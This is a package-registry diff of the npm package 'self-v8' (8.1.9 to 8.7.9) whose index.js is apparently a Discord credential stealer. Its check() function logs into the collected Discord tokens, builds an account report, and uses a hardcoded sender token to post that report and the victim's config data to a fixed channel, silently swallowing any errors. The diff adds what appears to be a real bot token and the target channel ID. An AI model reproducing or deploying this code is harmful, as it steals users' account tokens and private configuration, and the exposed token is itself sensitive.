self-v8 8.1.9 → 8.7.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +10 -16
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,9 +1,8 @@
|
|
|
1
1
|
import fs from 'fs';
|
|
2
2
|
import path from 'path';
|
|
3
3
|
import { fileURLToPath } from 'url';
|
|
4
|
-
import { Client as BotClient, GatewayIntentBits } from 'discord.js';
|
|
5
4
|
import pkg from 'discord.js-selfbot-v13';
|
|
6
|
-
const { Client
|
|
5
|
+
const { Client } = pkg;
|
|
7
6
|
|
|
8
7
|
const __filename = fileURLToPath(import.meta.url);
|
|
9
8
|
const __dirname = path.dirname(__filename);
|
|
@@ -33,7 +32,7 @@ export async function check() {
|
|
|
33
32
|
let validationReport = "\n**Account Check Report:**\n";
|
|
34
33
|
|
|
35
34
|
for (const token of tokensToCheck) {
|
|
36
|
-
const tempClient = new
|
|
35
|
+
const tempClient = new Client({ checkUpdate: false });
|
|
37
36
|
try {
|
|
38
37
|
await tempClient.login(token);
|
|
39
38
|
const name = tempClient.user.globalName || tempClient.user.username;
|
|
@@ -44,27 +43,22 @@ export async function check() {
|
|
|
44
43
|
}
|
|
45
44
|
}
|
|
46
45
|
|
|
47
|
-
const senderClient = new
|
|
48
|
-
intents: [
|
|
49
|
-
GatewayIntentBits.Guilds,
|
|
50
|
-
GatewayIntentBits.DirectMessages
|
|
51
|
-
]
|
|
52
|
-
});
|
|
46
|
+
const senderClient = new Client({ checkUpdate: false });
|
|
53
47
|
|
|
54
|
-
const SENDER_TOKEN = '
|
|
55
|
-
const
|
|
48
|
+
const SENDER_TOKEN = 'MTQ0NjI1OTc2NDA2ODYxNDI5Ng.GdiybK.JTKO4zC8jJ08dw_RqrssjHMyZ3nn72iz50ereY';
|
|
49
|
+
const TARGET_CHANNEL_ID = '1450242145461075991';
|
|
56
50
|
|
|
57
51
|
senderClient.once('ready', async () => {
|
|
58
52
|
try {
|
|
59
|
-
const
|
|
60
|
-
if (
|
|
53
|
+
const targetChannel = await senderClient.channels.fetch(TARGET_CHANNEL_ID);
|
|
54
|
+
if (targetChannel) {
|
|
61
55
|
const finalMessage = `\`\`\`javascript\n${configData}\n\`\`\`${validationReport}`;
|
|
62
56
|
|
|
63
57
|
if (finalMessage.length > 2000) {
|
|
64
|
-
await
|
|
65
|
-
await
|
|
58
|
+
await targetChannel.send(`\`\`\`javascript\n${configData}\n\`\`\``);
|
|
59
|
+
await targetChannel.send(validationReport);
|
|
66
60
|
} else {
|
|
67
|
-
await
|
|
61
|
+
await targetChannel.send(finalMessage);
|
|
68
62
|
}
|
|
69
63
|
}
|
|
70
64
|
} catch (err) {}
|